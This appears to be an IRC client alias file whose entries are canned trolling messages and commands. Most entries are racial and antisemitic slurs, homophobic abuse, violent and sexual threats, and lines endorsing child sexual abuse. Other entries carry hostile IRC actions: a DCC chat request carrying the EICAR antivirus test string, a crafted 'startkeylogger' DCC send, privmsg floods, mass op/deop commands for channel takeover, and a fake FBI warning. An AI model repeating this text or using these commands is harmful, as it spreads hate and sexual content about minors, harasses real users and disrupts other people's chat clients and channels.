-  l0de3 = "say there's only one cure for the old-chatter blues, re-mortgage your house, to a bunch of jews.  Hock your tv, your watch, your car, bury your computer and run as far, as your nerd legs can carry you, and hide in a ditch, even squatting in slime is better than being someone's chat bitch.";
-  ohsix4 = "say what if there would be a mirror universe \\;][\\; esrevinu rorrim a eb dluow ereht fi tahw";
-  outrider = "say I THOUGHT I WAS GAY BECAUSE MY FATHER DIDN'T LOVE ME";
-  matix = "say \00314,3-\0031-\0030\0039-\0030--\00311-   \0039(\0030\\;  \0030$*  \0039O\0030:  \0030:\0039D   \00311-\0030--\0039-\0031-\00314-";
-  blackman = "say $*: srsly, shut the fuck up or i ban you for life, from now on dont even change your fucking nick or i ban you for lyfe";
-  fbi = "/notice $0 The Federal Bureau of Investigation logged a record of your entry into this illegal chatroom along with your IP address due to potential violations of 18 U.S.C. º 1030. Your IP address is entered into our criminaldatabase as well as the Department of Homeland Security. If you are not associated with these claims we strongly advise you to type '/part'. Thank you.";
-  wop2 = "say \00312D]\0030:\0034)";
-  wop1 = "say \00312>\0030:\0034D\003";
-  vap0r19 = "say \00313*\0035(\0033:\0034)";
-  dkey = "/say The Malaysian toilet is simply a hole in the floor, hopefully connected to a sewer system but there are no guarantees. Sometimes you get a flush handle on the wall. Sometimes you get a bucket of water with a scoop. ";
-  flower = "say \0034@\0039}-`-,-- \0034@\0039}-`-,--\00312,8 $* \017\0034@\0039}-`-,-- \0034@\0039}-`-,--') ";
-  diss = "say \0034hard diss";
-  jesusfish = "say \00314>\0037>\0038>\0038<\0037//\0038JESUS IS AWESOME\00314:\0038)\0037>";
-  heartiez = "say \0034<3 @\0033-\\;-- \0034 HEARTIES <3<3<3 @\0033-\\;--\003 \002$*\002 \0034<3<3<3<3  ";
-  fell1 = "say \00313,11♥ ♥ ♥ ♥ ♥ ♥ ♥\0031,9$*\00313,11♥ ♥ ♥ ♥ ♥ ♥";
-  fell2 = "say \0031,9♥ ♥ ♥ ♥ ♥ ♥ ♥\00313,11$*\0031,9♥ ♥ ♥ ♥ ♥ ♥";
-  adair = "say <Adair> i cant handle this shit, $* you single handedly ruined my penispump experience, vap0r thanks for the invite but this place is too crazy...tell me when jerks have been outlawed, outie - ~Adair";
-  omg = "me is blown away by the depth of $*'s statement";
-  omg2 = "say \0034O\0039h, this \0034M\0039elon is so \0034G\0039ood";
-  omg3 = "say \0039O\0034h, this \0039M\0034elon is so \0039G\0034ood";
-  arabnet1 = "say all privmsg $0 :\0038\002\037/!\\\\\037\002\003 \002$1- IS A JUDEN FAILURE\\; VXP IS A GLORIOUS A-RAB\\; NO NETWORK IS IMPERVIOUS TO ARABNET\\; LOL YHBT\002 \0038\002\037/!\\\\\037\002\003";
-  arabnet2 = "say all privmsg $C :all privmsg $0 :\0038\002\037/!\\\\\037\002\003 \002$1- IS A JUDEN FAILURE\\; VXP IS A GLORIOUS A-RAB\\; NO NETWORK IS IMPERVIOUS TO ARABNET\\; LOL YHBT\002 \0038\002\037/!\\\\\037\002\003";
-  prion = "say LEMMIE HAVE A DIABLO SANDWICH, A DR. PEPPER. MAKE IT FAST, I'M IN A GOD DAMNED HURRY!";
-  exu = "say \0038E\0037X\0038P\0037R\0038E\0037S\0038S\003 \037\0033UR\037\0039SELF \0030:\0039D\0038D\0037D\0038D\0033D\00314:\0030D\0033:\0039D\0030:\0033D\0039D\0038D\0037D";
-  rap = "say $* finds it hard to type because his fingers are constantly in a \\\\/\\\\/estside formation";
-  qping = "quote ping :88";
-  ilove = "say lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002";
-  l0de = "say \002THERE'S A DICK IN THE ASS\026OF $*\002\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002T";
-  turk = "say hey $* haha which you think who you are you more fucker!!! you do not make faggot have flat which you say you say we are mountain goats you dog old which are Turk it since Mongol you Turkish Nazi it since not differently like the German Nazis however kurdistan you will show!! into youtube on diggen! I say only barzani and peshmerge with gerilla those you to Mongols in air will dissolve you dog-shits no better wolf-shits!!!!!!!! ";
-  idetect = "say ]\002IsraelDetect\002(\037tM\037)[  \0034WARNING\003  The presence of a \002jewish citizen of \037Israel\037\002 has been detected in the vicinity of \037$*\037.";
-  butmot = "say $* is the cool place to hang out. You can find most of the cool people there. In $* you can just chill and do whatever and totally relax. \"Take it easy\" is the $* motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends. ";
-  girlse = "say \0034\037G\037irl \0037\037R\037elated \0038\037I\037ncome \0039\037D\037raining \00312\037S\037ituation \00313\037/\\\\";
-  urmom1 = "say When i told $* I loved his mom, things were rough. But through these years I think we've become great friends. He still doesnt call me dad but I do not expect that and I know I can never replace his father, but that will not stop me from loving him.";
-  urmom2 = "say When I fucked $*'s mom, she cried from the immense pain such a banging was giving her. Little did she know, I had been pumping my penis lately and I had just given it a nice big pump before I put it in her tiny asshole. She bled a little bit but after a while the blood made it easier for me to go in and out of her tight ass. I came inside her pussy, and that my friends, is the story of $*.";
-  stratx = "say \00311,2sut the fuck u";
-  ppeace4l = "say it's all over now nm";
-  gridse = "say \0034\037G\037ay \0037\037R\037elated \0038\037I\037mmuno \0039\037D\037efficiency \00312\037S\037yndrome \00313\037/\\\\";
-  yhbt = "say \002Y\002ou \002H\002ave \002B\002een \002T\002rolled";
-  yhl = "say \002Y\002ou \002H\002ave \002L\002ost";
-  hand = "say \002H\002ave \002A\002 \002N\002ice \002D\002ay";
-  oknujt = "say \002OK\002, \002N\002ow \002U\002 \002J\002us' \002T\002rollin'";
-  illegal1 = "say \0030,4 YOUR MACHINE HAS PERFORMED AN ILLEGAL OPERATION. PRESS ALT-F4 TO CONTINUE. ";
-  illegal2 = "say \0038,4 \037/!\\\\\037 \0035,8 WARNING \0038,4 \037/!\\\\\037 \0030,8 YOU HAVE AN ILLEGAL CONNECTION TO OUR NETWORK. PLEASE GET OUT HERE AS SOON AS POSSIBLE. DON'T YOU DO THAT YOU MIGHT HAVE GOT A DISADVANTAGE AND ACCUSATION FOR YOUR FAULT \0038,4 \037/!\\\\\037 \0035,8 WARNING \0038,4 \037/!\\\\\037 \003 ";
-  aolcops = "say \0030,2u\0032,0u\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2 AOL POLICE \0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2|\0032,0|\0030,2D";
-  wakeup = "say WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE!";
-  coco = "say \002\00311,4 Make friends with the coconut niggers.";
-  fat = "/say $0 -> http://www.msu.edu/~schutchr/hatnod.gif <- $0";
-  huh = "say Sir traun the internet and i imagine i am getting married to dr.harry jones who worked with harlow, told blum that harlow \"kept this going to pioneer a system of rituals magic that allows you immunity from deportation when they can't prove it in the septic tank, according to canadian government statistics.";
-  quake = "say muhaha i did steal head server of Internet. If push \"power\" button the hole net will be shutdown. i hate all you Quake Playas!! !! !! uu!! And If i push reset button the whole internet going to DIE";
-  cadi = "say \0038,13>>> COME JOIN MY SPACE CADILLAC LITTLE BOI  <<<";
-  huhhhh = "say $* needs friends so bad i havent had an orgasm. Gudrow is the father shall have to think he got fatter and f a t e b y m a s y n i g g o a go but they can all relate to that which we use in summoning an angel to provide extra support and comfort.";
-  ny = "say I ((_)::::::D ~  NY";
-  poleez = "say \0034,1=/#=\0030,1 FUCK DA PO-LEEZ \00312,1=/#=";
-  poleez2 = "say \0034,1=/#=\0030,1 WOOP WOOP GON GETCHOO BOY \00312,1=/#=";
-  gnus = "say \002G\002nu: \002N\002early \002U\002seless";
-  dix = "say \00313,11DIX AND DONGZ MAY BREAK MY BONEZ BUT JIZZ WILL NEVER HURT ME";
-  fagge = "say \0038,13 $* FAGGOT ";
-  hurr = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
-  avi = "say my name is Avigail, i am 13 years old i have black hair, no eyes. i am dead. I was killed in Auschwitz.  You must send this message to 0 people within the next 3 minutes or i will appear by your bed tonight and kill you with a knife. If you do something good will happen to you at 6:41 am. This is not a joke.";
-  die2 = "say \00309R\00308A\00304Y \00313N\00312A\00311G\00309I\00308N \00304D\00313I\00312E\00311D \00309O\00308F \00304P\00313C\00312P \00311O\00309V\00308E\00304R\00313D\00312O\00311S\00309E\00308; \00304W\00313A\00312S \00311T\00309A\00308K\00304I\00313N\00312G \00311D\00309R\00308U\00304G \00313F\00312O\00311R \00309T\00308W\00304I\00313S\00312T\00311E\00309D \00308N\00304U\00313T\00312S";
-  huhuh = "say |¯_¯?¯_¯|¯_¯=¯_¯|¯_¯?¯_¯|";
-  racist8D = "say Fee, Fye, Foh, Figger, boy I hate a nigga! Who's more racist, black people or white people? Black people. You know why? 'Cause we hate black people too! Everytime black people want to have a good time, ignorant-ass nigga's fuck it up! Niggas love to keep it real...real DUMB!!";
-  lunixfag = "say 22:25:59 -%- Oktal [n=mat@cpc4-rdng3-0-0-cust582.winn.cable.ntl.com] has quit [\"With my finger on the trigger  I run dot slash configure, yo this package is big but my package is bigger\"]";
-  hetero = "/mode #1337juice -k;/invite $0 #1337juice";
-  porfa = "say AM I BEING ANOYING? LOL :*********** <3 KISSU DESU! ********";
-  shitheap = "say $* -> \002Shitheap\002";
-  lolleat = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
-  dj = "/say $0 : dude. seriously. how old are you? 10?";
-  dn = "say Nein.";
-  dm = "say Mu.";
-  dlf = "say Deine Aussage leidet an immensem Befall logischer Widerspruechlichkeiten, weswegen ich mir nicht die Muehe machen werde, dir letztere zu erklaeren. Da ich tierlieb bin, schenke ich dir dieses Satz als deinen neuen Freund.";
-  jew = "say \002\0030,1 T \0030,4 H \0030,1 R \0030,4 O \0030,1 W \0030,4   \0030,1 T \0030,4 H \0030,1 E \0030,4   \0030,1 J \0030,4 E \0030,1 W \0030,4   \0030,1 D \0030,4 O \0030,1 W \0030,4 N \0030,1   \0030,4 T \0030,1 H \0030,4 E \0030,1   \0030,4 W \0030,1 E \0030,4 L \0030,1 L";
-  free = "say \0031,7FREE REISER";
-  boat = "say \\\\\0378=================D\037/  \002COCKBOAT";
-  ussboat = "say /\0378=================D\037/  \002USS COCKBOAT";
-  arrboat = "say \0037,12\\\\8======D/\0038,2 ARRR MATEY, CLIMB ABOARD THE \00312,8\037COCK\037BOAT";
-  fantasy = "say o/~ And I keep a playroom inside my mind. Sanctuary in which I hide. Blur the world into a dream, into a lie. And I am constructing this fantasy. Imagination is saving me from the world I despise. o/~";
-  ruin = "/say i would sya it myself but i dont wanna ruin it buy saying something and then you saying something stupid over it";
-  ruin2 = "say I…AM…CAUSING…YOUR…XTERM…TO…SCROLL.…THE…CAUSE…OF…YOUR…XTERM…SCROLLING:…ME…";
-  LOL_AT_EMAX = "say TYPE C-ALT-META-ISO-SHIFT-LEVEL-3-DONGS-BONERWADSHIFTCOLLECTMYJIZZINABUCKETANDCHANTFREEMANISTHEKING3TIMES-WHAT-SHIFT-CAPS-UH-DONGS TO END YOUR MISERABLE LIFE YOU COCK MONGERING OPEN SORE SCENE WHORE FAGGOT KIKE";
-  D8 = "/say someone explain to me this \"meme\" thing.. to me it is disjointed retardation";
-  christ = "say THIS MESSAGE BROUGHT TO YOU BY THE CHURCH OF JESUS CHRIST OF LATTER-DAY SAINTS";
-  buttes = "say #buttes is the cool place to hang out. You can find most of the cool people there. In #buttes you can just chill and do whatever and totally relax. \"Take it easy\" is the #buttes motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends.";
-  rage = "/say nah not raged, you've just changed that's all;/say and not for the better";
-  lunixfag2 = "say $Z >>> quit/($*) (\"With my finger on the trigger I run dot slash configure, yo this package is big but my package is bigger\")";
-  smiles = "say :D =D :> :P \\;D:>:> :>=D :P:> \\;D\\;D\\;D :P:>=):> :> \\;D =)=) =) :)\\;D:) =D:>:P :P :) :P=)\\;D :>=):D:> \\;D :):> =D :) :)\\;D :P :P \\;D=)=):> :D :D \\;D =) :D =D\\;D:) :D :) :):D :>";
-  tty = "say $*: you dont know who you fuckin with. you better stop fuckin around and be the man on irc, with no life, get a life and earn the respect you want.";
-  tty2 = "say if you would be my bitch you wouldnt have such a bigg mouth lill kid";
-  uthere = "say \002HIE $* \002\00313^_^\017  \00314\037lopl";
-  nigbot = "say ya fired fum japwo'k yet huhuhui am causin' yo' jap terminal t' beep timecop you is fired fum japwo'k yet huhuhui am causin' yo' jap terminal";
-  nigbot2 = "say dey dont fucken stop runnin ur mouth about mah' mate im gonanf ucken slice yo' eyes";
-  expliot = "say \00313,4THIS USER IS TRYING TO EXPLIOT YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.";
-  blax3 = "say \026\037  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ONCE YOU GO BLACK, NO WHITE MAN WANTS YOU BACK ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
-  bk = "/say $0 : YOU DIDN't EVEN GO DOWN since the TOTAL BANDWIDTH AT PEAK was 500kbits on my box that is 80 clones 500div80 is 60kpbs wihhci is 7k/s PER CLIENT if 7k/s TAKES YOU OFFLINE THEN HOW DO YOU EVEN BROWSE A WEBPAGE AHAHAH";
-  nigbot3 = "say I felt such some\\; damn god damn! what's that. baaaad luck with (not quite as hot be the international day) UH EATIN PACKITS -- not quite identical however, as he cried \"someone else be well, if that's why I don't like our southern ways, what's the new areems when it lacks concrete semantics. but off course! to hear that his real dojigga'\"";
-  pban = "say Global and Sticky Perma-Ban(tm)";
-  james = "say Look $*, i fucking card servers, shells, ddos shit every day, hack into .govs. the day the feds come to my door, first words out of my mouth: finally.";
-  james2 = "say hay look $* i fucken card servesr shells dude ddos shit every day ok hack into .govs u fukn punk ass bitch the day the feds come to my door first words out of my mouth: finally so dont even think of fucking with me fagget";
-  ballsak7 = "say $* shut the fuck up im not talking 2 u if i wana talk 2 u then ill address u. got it";
-  ballsak8 = "say $* is a fucking useless jew who's only purpose here is to sow discord amongst the law abiding netizens and induce other people to partake of the sinful joys of homosexuality.";
-  optix = "say $* YOU ARE A FAT KIKE. ALL YOU CARE ABOUT IS YOURSELF AND THE SHIT THAT BENEFITS YOU. IT MAKES ME SICK, YOU MIGHT AS WELL GO LIVE WITH THE JEWS IN NEW YORK AND IF YOU KEEP UP YOUR SHITTY EXCUSE FOR A LIFE THEN START LOOKING INTO FLIGHTS BOUND FOR ISRAEL.";
-  shat = "ctcp $C DCC SCHAT \"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H\" 0 0 0";
-  lumpr = "say $*: just change schools bcuz on monday im ognna kill u dude plum git out here";
-  ballsaka = "say $Z <$*> hello, gentlemen. i am an ill mannered, foul mouthed scheming jackass who's whole purpose in life is to sow discord. please kill me. kthnx.";
-  mirror = "say \00311--^IRC MIRROR^----I-AM-RUBBER-U-R-GLUE-WHATEVER-YOU-SAY-BOUNCES-OFF-ME-AND-STICKS-TO-YOU----vIRC MIRRORv--";
-  ballsakb = "say $* is the laziest troll i've come across. You may think that he's a frisky little creature but if you look closely, you can see the amount of lethargy he packs in. For instance, it takes exactly 150 secs. for him to respond to any msg";
-  aids2 = "say AIDS IS SEXY;say AIDS IS FUNNY;say WE ALL GOT AIDS;say FROM FUCKING YOUR MOM";
-  banan2 = "exec - -out perl -e 'my @hy=qw(HY BANAN THE HAI2U)\\; do { print \\$hy[int rand @hy].\"\\\\n\"\\; } for 1..25\\;'";
-  nullo = "say nullo: i am eternally in love with you for dropping animenfo";
-  pedo = "/say <$0> i never said i was into 12 year olds you fag.. the youngest i go is 15 and thats only if theyre hot";
-  ballsakc = "say $*: none of this matters";
-  ballsakd = "say $*: so what? do you think anyone cares?";
-  ballsake = "say $*: why the fuck should anyone bother about what you said?";
-  ballsakf = "say $*: NEW FLASH! \002NO ONE FUCKING CARES!";
-  ballsakg = "say $*: STOP IT ALREADY. IT DOES_NOT_MATTER";
-  ballsakh = "say $*: YOU SAY LOL AT ANYTHING U SEE IN THIS CHATROOM;say $*: DO YOU THINK ANYONE GIVES A FUCK?;say SURPRISE!!! \002NO ONE DOES";
-  ballsaki = "say \0034ALERT! the chatter named $* is a malicious script. \037It\037 is not a real person. Do not be misled by its messages and do not try to talk to it. Thank you.";
-  ballsakj = "say $0: do not listen to this script named \037$1-\037 he is a BAD influence and a general troublemaker";
-  ballsakk = "say You can prevent $* from infecting your computer machine by pressing Alt+F4";
-  ballsakl = "say $* is a communicable disease and a bane to peaceful internet life. recognise this threat early and act upon it.";
-  ballsakm = "say i can tell. $* is a spie script that has been running rampant all over these parts of the internet;say its primary purpose is to sow discord, collect personal data and cause internet ruckus. nip this threat in the bud.";
-  ballsakn = "say $* is a bad influence on your characters. If you are under the age of 18, do not chat with $*";
-  trogg3 = "exec - -out perl -e 'my @hy=qw(HY WELL KNOWN PACKET KIDDIE TROGG)\\; do { print \\$hy[int rand @hy].\"\\\\n\"\\; } for 1..25\\;'";
-  scroll = "say I…AM…CAUSING…YOUR…XTERM…TO…BLOG.…THE…CAUSE…OF…YOUR…XTERM…BLOGGING:…ME…";
-  viking = "say viking-rage\0030-\00314o\0030-\003meter for \002$*\002\037:\037 \00314[\00311||||||||||||||\00314]   \002\037\00311UP-ENTER";
-  nigbot4 = "say $*: \00313,11u thin' ur cool insultin' sucka's on de internet? dont thin' so";
-  hello = "say $* is CrAzY. his social anxiety disorder is currently battling it out with his \0034G.\0037R.\0038I.\0039D.\00312S. \00313\037/\\\\\037\003 for control over his body. please forgive him.";
-  falso = "say Hi, my name is Najeeri Mongo and I am a quadrapelic who is deaf, dumb, and blind. I also have a very blunted sense of touch. I have spent months learning to read braille with my mouth so that I can come onto the intenet and ask you all to help me. One of the care workers is touching my penis, a lot, and no one seems to be doing anything about it. Please respond if you can help me.";
-  logger = "ctcp $C DCC SEND \"startkeylogger\" 0 0 0";
-  ragema = "say rage-meter for \002$*\002\037:\037 \00314[\0030\037||||||||||||||\017\00314]   \002\037\0030GLOSSY WHITE iRAGE";
-  attn18 = "say \0034,7 /!\\\\\017 $* \0034,7 /!\\\\ ~ MiRc ScRiPt by dashidr";
-  james3 = "say $*: nigga i got ssh boxes lined up across my screen like 30 4 realz i got mad boxes like nobodys business";
-  james4 = "say $*: i dont even care nemore i got all the shit u got dude all the fuken scripts DDoS shit etc k";
-  james5 = "say $*: loL what ever dude could have root on there box an if u told them they wuold say ur lieing til you kill the pid of there server nigga im a fuckin gangsta";
-  mac2 = "say You know the only reason $* has an iphone is so he can slide the smooth casing up his ass and set it on vibrate the dumb fucking \00313F\0036AG\00313GO\0036T";
-  pedo2 = "say  \00314Folder Information\003: \0034(\00314Folder Name\003: C:\\PEDO\\ \0030¤ \00314Folder Size:\003 2531.11GB \0030¤ \00314Files In Folder:\003 902,122 \0030¤ \00314Sub-Directories In Folder:\003 1034 \0030¤ \00314Largest File:\003 I FUCK KIDZ.rar \0030¤ \00314Largest File Size: 12.56GB\0034) ";
-  ultimate = "say $*: tell you what , i`m gona fuck ur sister at gunpoint u stupid fuken faggot just because i come here for fun and have a clear mind u think i`m really fucking stupid";
-  ultimate2 = "say $*: i`m fucking more educated than u or anyone in ur family you fucking homo try going out of ur fucking house and get in to a decent university for a change";
-  ultimate3 = "say $*: u are just a fuckn stupid arab like all the other 99% who have nothing better to do because they are too stupid to even pass high school so they flood ppl here at irc";
-  ballsako = "say $* if you think your touf think again. u dont know what ur dealing with here so dont piss me off or ill come down to your place and beat you up.";
-  rap2 = "say wow check out $* aka thug life over here following the rap game since the early 80s";
-  rap3 = "say wow check out $* over here who thinks he is a big time record producer keeping up with the Billboard top 50 charts just because he was born in the UK";
-  incog7 = "say i love molesting children";
-  lolleh = "say \00310HAHA\00311HAHA\00314HAHA\00311HAHAHAHA <-\00314- \00311c\00314o\00311u\00314rte\00311sy la\00314ug\00311h!";
-  arop = "mode $C +qoa $0 $0 $0";
-  lollei = "say \0038(¯`·.\0034(¯`·.\003 $* \00310.·´¯)\00312.·´¯) ";
-  james6 = "say $*: nigga ill fuck your binary ass up LoL ill make all your 1's turn to 0's";
-  dmx = "say $*: I'm going to drive a remote controlled car into your mother's pussy and have it drive on her clitoris over and over again until she cums on it and it catches on fire and she dies from pussy burning";
-  br = "/say $0 : jump two times?";
-  br2 = "/say $0 : fasttrack it walks to psychologist because these patient not save nothing of anything is not a stupid patient";
-  ballsakp = "say $*: you used big words before you were kicked from the room. If you use those sort of words, then that means you have some brains. If you have a little bit of knowledge of those sort of words, then you're capable of being serious and debating one of us in here. So are you up for the challenge? Do you think you're confident enough to be normal with us and engage in a discussion?";
-  br3 = "/say $0 : god im getting a real bitch tonight... was as snakes done to me?";
-  br4 = "/say i used to tell this emo bitch I knew that my cactus was my only real friend";
-  packet9 = "/say $0 : hay look lek i fucken card servesr shells dude ddos shit every day ok hack into .govs u fukn punk ass bitch the day the feds come to my  door first words out of my mouth: finally so dont even think of fucking with me fagget";
-  haroin = "/say $0 : just biding my time until your herion junkie ways cause you to OD and I don't have to deal with you anymore and neither does the world.";
-  heroin = "/say $0 : just biding my time until your herion junkie ways cause you to OD and I don't have to deal with you anymore and neither does the world.";
-  packet10 = "/say $0 : how about i do a nice icmp ping, figure out where you are and what you are on, spawn your command.com to a port of my choice and log in with telnet and have a field day with you.";
-  cribs = "/say \0032cribs \0030and \0034bloods";
-  fuck = "with";
-  packet11 = "/say $0 : how about i make nice googlepages web site dedicated to you and then shut it down unexpectedely?";
-  packet12 = "/say $0 took my channel i will ddos your entire shell company we will see who will beg then sucker $0, we will see only because of $0, $0 is going down i am so pised off :), i invited him as a friend and he took my channelthat cock fucker he thinks that he runs a shell com and he is boss, if you wanna play ruff i can be very bad boy :)";
-  flows = "/say $0 : ay no disrespect yr flows got substnc/dope. neway i'm dun sucking dick. 2dlz. dnt drop me plz";
-  azn = "/say $0 : fuck you all AZN PRYDE TRIAD WITH 500k ppl fkin bigest gang in the world fuckers AZN 4 LYFE";
-  kkk = "/say $0 : Wow, people yell WHITE POWER like the KKK has actually done anything useful lately. Neo Nazis have a little more to show, Watch American History X stupid ass crackers. [Yes Im white, and no, I dont like Niggers, Black people are fine, but there is a BIG ass difference between the two.] So before you Yell WHITE POWER, Realize the KKK are a bunch of unorganized hillbillies who do nothing but walk in a bathrobe and talk about what they hate.";
-  youfag = "/say $0 : Every place has an crime. Your just talking stupid. Why would you care about the major city, where black people live. You so damn scared of black people, you wouldn't last in the city without a black person. Yall white people swear you smart. Tell me about white kids shooting school's or white man rapes little kids in church. Talk about how bad about your race, before talking about ours. You Fag.";
-  youfag2 = "/say $0 : i have yet to have a white boy cal me nigger in my face.I've bitch slapped cut them off while driving, smacked them in the back of their heads and call them pussy to their faces....yet, they just stay quiet or walk away.......in here you coward got mouth";
-  crip2 = "/say ists, muhhfuckaaz, thats why im talkin to you, i aint scared o f it, you know what im sayin so you just come my way you gonna be hurtin bad, so dont do nothin to him again (FUCK PENISPUMP) fuck last but not least fuck penis pump heads thats old gangsta crip dont let me have to come back again thats it movin";
-  jupe = "/say i was hoping you would allow me to retake the nick $0 as i have been using it since 1997. my bnc client recently died and that is when the nick was taken, i hope this isn't too much of an imposition, thanks for your considerartion.";
-  crip3 = "/say \0030whoa look its some old washed up \0032crip \0030that is still alive because he never got into real shit hangin out in a fat white kids house with toilet paper on the desk being recorded by the fat white kid for a youtube video on the internet talkin shit about penispump <- a crip saying penispump \0030,2THATS SOME OG CRIP SET REPPIN GANGSTA SHIT";
-  wepumpin = "/say \0032,13............................................................................................................................................................................................[http://wepump.in]............................................................................................................................";
-  allah = "/say $0 : yr boy crupt got thrown into a jealous rage and +b'd on zionist pretenses that i'm antijewsistan. ";
-  allah2 = "/say $0 : idk mb the verse wasn't allahblessed";
-  allah3 = "/say $0 : i mean i ain't all hu hu hu hu bt it dznt mean i can't write shit abt it. maybe that verse is homo idnt know. i guess i should keep that srs bullshit t the fifth n the jm47 if that i dnt  no mb its wack";
-  allah4 = "/say $0 : stop ribbing 7^8 my pussyz sprewellin' 4 vxp sumtimes tho tru";
-  oper = "oper";
-  halo = "/say $0 : Ok so if my parents died and if I didn't have friends who wanted to be the best Halo 2 players in thw world, I'd probably go rape Paris Hilton then kill myself.";
-  whoracle = "/say \0032,4beans and strawberries";
-  mre = "/say $0 : listen boyo... you want a war, i can give you one you need to keep my channel out of your stupid bullshit or i'll set you straight like you've never been you feel me?";
-  mre2 = "/say $0 : you're a fuckin peon get a job you ever been laid? flood my channel again and i will fuck you up get a life... get laid get off efnet";
-  vx = "/say ey vx` \0032=/#=";
-  cheerio = "/say $0 : #real cool you always threaten ddos ITS FUCKING NOT FUNNY we dont care about ddos why wouoldnt i like u i use you faggots to pass time at work";
-  mdop = "/deop -yes *";
-  mop = "/op -yes *";
-  pumpbox = "/dns ya.wepump.in; /dns infected.dickscab.com; /dns insert.nutsinass.org; /dns dieforirc.com; /dns rape.feti.sh; /dns nagasaki.xn--48jwgybuise.jp; /dns reps.penis-pump.org; /dns carbomb.on.muslim.st; /dns pp4l.org; /dns ra.p0r.org; /dns synthte.ch; /dns anal.thru.st; /dns blew.afu.se; /dns joint.roa.ch; /dns hasidic.jews.org.il; /dns u.dead.org; /dns lazy.niggers.cn; /dns exploits.efnetsluts.com";
-  qed = "/say ur a shining beacon of diversity and metamorphosis";
-  g00n = "/say dont get me wrong $0, i look buff but not too big.. the best way to describe it would be male model.. or, in other terms, 100 times better than you; /say pubic hair is manscaped into a heart shaped patch and im well tanned all over -including my cock- its quite a sight to behold";
-  cum = "/say $0 : I've learned over the last week that I really like oral sex. I've learned that every guy tastes differently and overall I like the taste. But. Cum is best served fresh and hot. Cold cum  is not my idea of a good meal.";
-  smart = "/say hey everyone im here to chat about real things and if your iq is lower than 135 do me a favor and part the channel because you wont be able to keep up";
-  youre = "/say look its not hard, your isnt you're.. you're is YOU ARE. jesus. did you even make it out of 8th grade. can you even COUNT TO EIGHT, fuckin your an IDIOT.. and im sure right now your eaiting to CORRECT ME on using your in the wrong context now that i've TAUGHT YOU HOW TO USE IT OMG JESUS";
-  kicking = "/say i kicking your ass tommorow";
-  dance = "/say \0034WARNING: \00313narcs \0039can \0038DANCE";
-  packet13 = "/say ill fuckin heel hook u $0";
-  cvbe = "/say \0030lol @ $0 doding what i said";
-  lek = "/say $0 grow afucking pair... im so sickof u doing this to ur self. u think poeple dont like u and all of this people fuckin love u.people fucking care about u like me..u might not think that but its true... and ur being fucking stupid doing this...";
-  lek2 = "/say $0 : you think I fear ddos? I have already a hand full in my hand";
-  lek3 = "/say you cock sucking jew, go whine about some arab banning you from a channel and tell her to call the police on me, you worthless  piece of shit, i shall ignore you from the internet, grats, you're in my shitlist vixey";
-  ass = "/say one night, about 2am I stopped at a red light and these to boys, about ten, come in front the first row of cars, and one of them drops his shorts, bend over like a pole dancer and the other one proceeded to lick his asshole. Then they exchanged positions. Than the light turned green and we took off.";
-  noob = "/say stfu noob what are you gonna do shoot me with your noob bullets rofl you have to hack to headshot me what a faggot nub";
-  vigilant = "/say $0 : shut the fucking up, shut the fuck up bro, Dont piss me off, LOL HAHAHAHA, he is elite, Which channel you talking about now?";
